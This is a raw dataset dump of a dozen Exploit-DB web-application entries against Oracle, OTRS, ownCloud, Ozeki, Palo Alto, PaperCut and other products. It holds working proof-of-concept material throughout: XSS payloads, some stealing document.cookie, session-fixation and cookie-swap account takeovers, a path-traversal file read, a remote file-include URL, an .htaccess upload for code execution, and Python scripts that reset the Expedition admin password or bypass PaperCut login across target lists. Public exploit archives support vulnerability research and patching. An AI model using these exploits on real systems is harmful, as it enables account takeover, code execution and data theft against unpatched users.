deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23004
Description: Oracle OpenSSO 8.0 - Multiple Cross-Site Scripting POST Injection Vulnerabilities
Type: webapps
Platform: multiple
Date: 2012-11-29
Author: LiquidWorm

Exploit:
<!--

Oracle OpenSSO 8.0 Multiple XSS POST Injection Vulnerabilities


Vendor: Oracle Corporation
Product web page: http://www.oracle.com
Affected version: 8.0 Update 2 Patch3 Build 6.1 (2011-June-8 05:24)

Summary: Oracle OpenSSO is a complete solution that provides Web
access management, federated single sign-on and Web services
security in a single, self-contained application.

Desc: Oracle OpenSSO suffers from multiple cross-site scripting
vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Oracle-iPlanet-Web-Server/7.0


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience
							

Advisory ID: ZSL-2012-5114
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5114.php


28.10.2012

-->


<html>
<head>
<title>Oracle OpenSSO 8.0 Multiple XSS POST Injection Vulnerabilities</title>
</head>
<body><center><br />

<form method="POST" action="https://10.55.100.17/cmp_generate_tmp_pw.tiles">
<input type="hidden" name="dob_Day" value='"><script>alert(1);</script>' />
<input type="hidden" name="dob_Month" value='"><script>alert(2);</script>' />
<input type="hidden" name="dob_Year" value='"><script>alert(3);</script>' />
<input type="hidden" name="givenname" value='"><script>alert(4);</script>' />
<input type="hidden" name="mail" value='"><script>alert(5);</script>' />
<input type="hidden" name="sn" value='"><script>alert(6);</script>' />
<input type="submit" value="#1" />
</form>

<br />

<form method="POST" action="https://10.55.100.17/UI/Login?module=ResetPassword">
<input type="hidden" name="dob_Day" value='"><script>alert(1);</script>' />
<input type="hidden" name="dob_Month" value='"><script>alert(2);</script>' />
<input type="hidden" name="dob_Year" value='"><script>alert(3);</script>' />
<input type="hidden" name="givenname" value='"><script>alert(4);</script>' />
<input type="hidden" name="mail" value='"><script>alert(5);</script>' />
<input type="hidden" name="sn" value='"><script>alert(6);</script>' />
<input type="hidden" name="x" value="41" />
<input type="hidden" name="y" value="8" />
<input type="submit" value="#2" />
</form>

</center></body>
</html>
Exploit-DB #46187
Description: Oracle Reports Developer Component 12.2.1.3 - Cross-site Scripting
Type: webapps
Platform: multiple
Date: 2019-01-17
Author: Mohamed M.Fouad

Exploit:
# Exploit Title: [Cross-site Scripting (XSS)]
# Date: [2019-01-15]
# Exploit Author: [Mohamed M.Fouad - From SecureMisr Company]
# Vendor Homepage: [https://www.oracle.com/technetwork/security-advisory/cpujan2[PII_REDACTED].html]
# Version: [12.2.1.3] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2019-2413]

POC:

https://<ip>/reports/rwservlet/showenv%22%3E%3Cimg%20src=x%20onerror=prompt(1);%3E
Exploit-DB #44752
Description: Oracle WebCenter Sites 11.1.1.8.0/12.2.1.x - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2018-05-25
Author: Richard Alviarez

Exploit:
# Exploit Title: Multiple XSS Oracle WebCenter Sites (FatWire Content
Server) 7.x < 11gR1
# Dork: inurl:Satellite?c
# Date: 18.12.201
# Exploit Author: Richard Alviarez
# Vendor Homepage: http://oracle.com
# Version: 7.x < 11gR1
# CVE: CVE-2018-2791
# Category: Webapps
# Tested on: Kali linux
====================================================

# VULNERABILITY DESCRIPTION

 The backend of the Content Server is prone to permanent and reflected
 Cross-Site Scripting attacks. The vulnerability can be used to include
 HTML- or JavaScript code to the affected web page. The code is executed
 in the browser of users if they visit the manipulated site.
 The vulnerability can be used to change the contents of the displayed
site,
 redirect to other sites or steal user credentials. Additionally, Portal
 users are potential victims of browser exploits and JavaScript Trojans.

====================================================


# PoC : XSS :


PAYLOAD:

servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee%22%3E%3Cscript%3Ealert(123)%3C/script%3E%3C

Note: {ID} Change for ID to site example[PII_REDACTED]835)

Other vulnerable parameters:

PAYLOAD:

servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee"<scriptalert(document.cookie)</script


PAYLOAD:

servlet/Satellite?destpage="<h1xxx<scriptalert(1)</script&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError

====================================================


#Collaborators

- CuriositySec
- Vis0r
- Oxd0m7
- Vict0r
Exploit-DB #16959
Description: Oracle WebLogic - POST Session Fixation
Type: webapps
Platform: multiple
Date: 2011-03-11
Author: Roberto Suggi Liverani

Exploit:
Name	Oracle WebLogic – Session Fixation Via HTTP POST Request
Vendor Website	http://www.oracle.com/
Date Released	11 March 2011 – CVE-2010-4437
Affected Software	Oracle WebLogic Server 9.0, 9.1, 9.2.4, 10.0.2, 10.3.2, 10.3.3
Researcher	Roberto Suggi Liverani

Description

Oracle WebLogic servlet session cookie can be fixated via HTTP POST request. This type of session fixation attack has been confirmed with different session descriptor elements. In particular, the attack has also been confirmed with the session descriptor element <url-rewriting-enabled> set to "False". Such setting prevents session fixation attack via HTTP GET request but fails to mitigate session fixation attacks performed over HTTP POST.

Exploitation

A malicious user obtains a valid servlet session (e.g. AFSSESSIONID) and then forces a user to perform an HTTP POST request which sets the AFSSESSIONID cookie into the user's browser. The cookie AFSESSIONID is passed as a parameter within the body of the HTTP POST request to the Oracle WebLogic Server, as shown below:
Session Fixation Via HTTP POST Request
POST /test/test.jsp HTTP/1.1
Host: 192.168.0.100:7001
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
AFSSESSIONID=kWCsMjVKKvRh0ct14JJltYTrmXBWyBqh8brv6wfjrVrk4K2mB1yv![PII_REDACTED]
HTTP/1.1 200 OK
Date: Thu, 12 Aug 2010 11:18:42 GMT
Content-Length: 459
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: AFSSESSIONID=kWCsMjVKKvRh0ct14JJltYTrmXBWyBqh8brv6wfjrVrk4K2mB1yv![PII_REDACTED]; path=/; HttpOnly

X-Powered-By: Servlet/2.5 JSP/2.1
Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -January 2011. Security-Assessment.com recommends applying the latest patch provided by the vendor. For more information, visit: 

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
Exploit-DB #50551
Description: orangescrum 1.8.0 - Privilege escalation (Authenticated)
Type: webapps
Platform: multiple
Date: 2021-11-29
Author: Hubert Wojciechowski

Exploit:
# Exploit Title: orangescrum 1.8.0 - Privilege escalation (Authenticated)
# Date: 07/10/2021
# Exploit Author: Hubert Wojciechowski
# Contact Author: snup.php@gmail.com
# Company: https://redteam.pl
# Vendor Homepage: https://www.orangescrum.org/
# Software Link: https://www.orangescrum.org/
# Version: 1.8.0
# Tested on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### Privilege escalation


# The user must be assigned to the project with the account he wants to take over
# The vulnerabilities in the application allow for:

* Taking over any account with which the project is assigned

-----------------------------------------------------------------------------------------------------------------------
# POC
-----------------------------------------------------------------------------------------------------------------------

## Example

1. Go to the dashboard
2. Go to the page source view
3. Find in source "var PUSERS"
4. Copy "uniq_id" victim
5. Change cookie "USER_UNIQ" to "USER_UNIQ" victim from page source
6. After refreshing the page, you are logged in to the victim's account
Exploit-DB #24922
Description: OTRS 3.x - FAQ Module Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2013-04-08
Author: Luigi Vezzoso

Exploit:
# Exploit Title: [OTRS Faq Module - Persistent  XSS]

# Date: [2-Apr-2013]
# Exploit Author: [Luigi Vezzoso]
# Vendor Homepage: [http://www.otrs.com]
# Version: [OTRS ITSM 3.2.x,OTRS ITSM 3.1.x,OTRS ITSM 3.0.x]
# Tested on: [Perl]
# CVE : [CVE-2013-2637]

#OVERVIEW
The OTRS ITSM FAQ Module 3.2.x and below is vulnerable to a persistant XSS that permit some client side attack like cookies grabbing.

#INTRODUCTION
OTRS (http://www.otrs.com) is a flexible Help Desk and IT-Service Management Software distribuited as opensource project (AGPL License) and also as-a-service. WIth a 1,650,000 downloads and 110,000 installation is one of the most used ticketing and service management software in the world.

#VULNERABILITY DESCRIPTION
The FAQ Module permit to share FAQ documents to Admins (called Agents in OTRS), Customers and everyone. The documents are presented like a wiki. Each user with the permission of add a FAQ can create a custom FAQ with the exploit. Each user that can view that FAQ (also the admin) can trigger the XSS. 

The user can add JavaScript in the "Syntoms" of FAQ like the simplest:	<script>alert("H4cked!!  "+document.cookie);</script>


--------------------------------------------------------------------------------
 <li class="Customer Visible">
                <div class="MessageHeader">
                    <h3>Symptom:</h3>
                    <div class="Clear"></div>
                </div>
                <div class="ArticleFAQContent">
                    <div class="message">
                        <script>alert("H4cked!!  "+document.cookie);</script>
                    </div>
                </div>
            </li>
--------------------------------------------------------------------------------

#VERSIONS AFFECTED
OTRS ITSM 3.2.x, OTRS ITSM 3.1.x, OTRS ITSM 3.0.x, FAQ 2.1.x, FAQ 2.0.x

#SOLUTION
Referer to vendor security advisor @ http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2013-02/

#CREDITS
Luigi Vezzoso 
email:	luigivezzoso@gmail.com
skype:	luigivezzoso
Exploit-DB #32162
Description: ownCloud 4.0.x/4.5.x - 'upload.php?Filename' Remote Code Execution
Type: webapps
Platform: multiple
Date: 2014-03-10
Author: Portcullis

Exploit:
Vulnerability title: Remote Code Execution in ownCloud
CVE: CVE-2014-2044
Vendor: ownCloud
Product: ownCloud
Affected version: 4.0.x & 4.5.x
Fixed version: 5.0
Reported by: Alejo Murillo Moya

Details:

A remote code execution has been found and confirmed within ownCloud as
an authenticated user. A successful attack could allow an authenticated
attacker to execute PHP code, which could lead to a full compromise of
the server and associated infrastructure. Please note that only the
Windows versions of ownCloud are affected and that valid credentials are
required.

It is possible to create a custom .htaccess into the user's folder on
Windows version of the application, which will enable PHP execution on
the folder. This vulnerability exists because it is possible to bypass
the internal blacklists using Windows ADS (Alternate Data Streams).

Proof Of Concept:

  POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1
  [...]
  Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]85408411
  Requesttoken: None

  ----------------------------[PII_REDACTED][PII_REDACTED]85408411
  Content-Disposition: form-data; name="MAX_FILE_SIZE" 

  536870912
  ----------------------------[PII_REDACTED][PII_REDACTED]85408411
  Content-Disposition: form-data; name="requesttoken" 

  None
  ----------------------------[PII_REDACTED][PII_REDACTED]85408411
  Content-Disposition: form-data; name="dir" 

  /
  ----------------------------[PII_REDACTED][PII_REDACTED]85408411
  Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA" 
  Content-Type: text/plain

  <PUT YOUR TEXT HERE>
  ----------------------------[PII_REDACTED][PII_REDACTED]85408411--


        

Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2044/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.
Exploit-DB #51646
Description: Ozeki SMS Gateway 10.3.208 - Arbitrary File Read (Unauthenticated)
Type: webapps
Platform: multiple
Date: 2023-08-04
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Ozeki 10 SMS Gateway 10.3.208 - Arbitrary File Read (Unauthenticated)
# Date: 01.08.2023
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://ozeki-sms-gateway.com
# Software Link:
https://ozeki-sms-gateway.com/attachments/702/installwindows_[PII_REDACTED]_OzekiSMSGateway_10.3.208.zip
# Version: 10.3.208
# Tested on: Windows 10



##################################### Arbitrary File Read PoC
#####################################

curl
https://localhost:9515/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini

##################################### Arbitrary File Read PoC
#####################################
Exploit-DB #43440
Description: P-Synch < 6.2.5 - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2003-05-30
Author: GulfTech Security

Exploit:
P-Synch Multiple Vulnerabilities

Vendor: M-Tech Identity Management Solutions
Product: P-Synch
Version: <= 6.2.5
Website: http://www.psynch.com/

BID: 7740 7745 7747 

Description:
P-Synch is a total password management solution. It is intended to reduce the cost of ownership of password systems, and simultaneously improve the security of password protected systems. This is done through: Password Synchronization. Enforcing an enterprise wide password strength policy. Allowing authenticated users to reset their own forgotten passwords and enable their locked out accounts. Streamlining help desk call resolution for password resets. P-Synch is available for both internal use, on the corporate Intranet, as well as for the Internet deployment in B2B and B2C applications. 

Path Disclosure Vulnerability:
https://path/to/psynch/nph-psa.exe?lang=
https://path/to/psynch/nph-psf.exe?lang= 

Script Injection Vulnerability:
https://path/to/psynch/nph-psf.exe?css=">[VBScript, JScript etc]
https://path/to/psynch/nph-psa.exe?css=">[VBScript, JScript etc] 

File Include Vulnerability:
https://path/to/psynch/nph-psf.exe?css=http://somesite/file
https://path/to/psynch/nph-psa.exe?css=http://somesite/file 

Solution:
Upgrade to the latest version of P-Synch Password Managment. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #51343
Description: Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2023-04-08
Author: omurugur

Exploit:
# Exploit Title: Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS)
# Exploit Author: omurugur
# Vendor Homepage: https://security.paloaltonetworks.com/CVE-2022-0020
# Version: 6.5.0 - 6.2.0 - 6.1.0
# Tested on: [relevant os]
# CVE : CVE-2022-0020
# Author Web: https://www.justsecnow.com
# Author Social: @omurugurrr


A stored cross-site scripting (XSS) vulnerability in Palo Alto Network
Cortex XSOAR web interface enables an authenticated network-based attacker
to store a persistent javascript payload that will perform arbitrary
actions in the Cortex XSOAR web interface on behalf of authenticated
administrators who encounter the payload during normal operations.

POST /acc_UAB(MAY)/incidentfield HTTP/1.1
Host: x.x.x.x
Cookie: XSRF-TOKEN=xI=; inc-term=x=; S=x+x+x+x/x==; S-Expiration=x;
isTimLicense=false
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0)
Gecko/20100101 Firefox/94.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://x.x.x.x/acc_UAB(MAY)
Content-Type: application/json
X-Xsrf-Token:
Api_truncate_results: true
Origin: https://x.x.x.x
Content-Length: 373
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"associatedToAll":true,"caseInsensitive":true,"sla":0,"shouldCommit":true,"threshold":72,"propagationLabels":["all"],"name":"\"/><svg/onload=prompt(document.domain)>","editForm":true,"commitMessage":"Field
edited","type":"html","unsearchable":false,"breachScript":"","shouldPublish":true,"description":"\"/><svg/onload=prompt(document.domain)>","group":0,"required":false}

Regards,

Omur UGUR

>
Exploit-DB #52129
Description: Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover
Type: webapps
Platform: multiple
Date: 2025-04-06
Author: ByteHunter

Exploit:
# Exploit Title: Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover
# Shodan Dork: html:"expedition project"                                                      #     
# FOFA Dork: "expedition project" && icon_hash="[PII_REDACTED]"                                   #
# Exploit Author: ByteHunter                                                                  #
# Email: 0xByteHunter@proton.me                                                               #
# Vulnerable Versions: 1.2 < 1.2.92                                                           #
# Tested on: 1.2.90.1 & 1.2.75                                                                #
# CVE : CVE-2024-5910                                                                         #                             
############################                                                                   #  
################################################################################################ 

import requests
import argparse
import warnings

from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter("ignore", InsecureRequestWarning)

ENDPOINT = '/OS/startup/restore/restoreAdmin.php'

def send_request(base_url):
    url = f"{base_url}{ENDPOINT}"
    print(f"Testing URL: {url}")  
    try:
        response = requests.get(url, verify=False, timeout=7) 
        if response.status_code == 200:
            print("✓ Admin password restored to: 'paloalto'\n")
            print("✓ admin panel is now accessable via ==> admin:paloalto creds")
        else:
            print(f"Request failed with status code: {response.status_code}\n")
    except requests.exceptions.RequestException as e:
        print(f"Error sending request to {url}") #{e}

def main():
    parser = argparse.ArgumentParser(description='Palo Alto Expedition - Admin Account Password Reset PoC')
    parser.add_argument('-u', '--url', type=str, help='single target URL')
    parser.add_argument('-l', '--list', type=str, help='URL target list')

    args = parser.parse_args()

    if args.url:
        send_request(args.url)
    elif args.list:
        try:
            with open(args.list, 'r') as file:
                urls = file.readlines()
                for base_url in urls:
                    send_request(base_url.strip())
        except FileNotFoundError:
            print(f"File not found: {args.list}")
    else:
        print("I need a URL address with -u or a URL file list with -l.")

if __name__ == '__main__':
    main()
Exploit-DB #51391
Description: PaperCut NG/MG 22.0.4 - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2023-04-25
Author: MaanVader

Exploit:
# Exploit Title: PaperCut NG/MG 22.0.4 - Authentication Bypass
# Date: 21 April 2023
# Exploit Author: MaanVader
# Vendor Homepage: https://www.papercut.com/
# Version: 8.0 or later
# Tested on: 22.0.4
# CVE: CVE-2023-27350

import requests
from bs4 import BeautifulSoup
import re

def vuln_version():
    ip = input("Enter the ip address: ")
    url = "http://"+ip+":9191"+"/app?service=page/SetupCompleted"
    response = requests.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')
    text_div = soup.find('div', class_='text')
    product_span = text_div.find('span', class_='product')

    # Search for the first span element containing a version number
    version_span = None
    for span in text_div.find_all('span'):
        version_match = re.match(r'^\d+\.\d+\.\d+$', span.text.strip())
        if version_match:
            version_span = span
            break

    if version_span is None:
        print('Not Vulnerable')
    else:
        version_str = version_span.text.strip()
        print('Version:', version_str)
        print("Vulnerable version")
        print(f"Step 1 visit this url first in your browser: {url}")
        print(f"Step 2 visit this url in your browser to bypass the login page : http://{ip}:9191/app?service=page/Dashboard")


if __name__ =="__main__":
    vuln_version()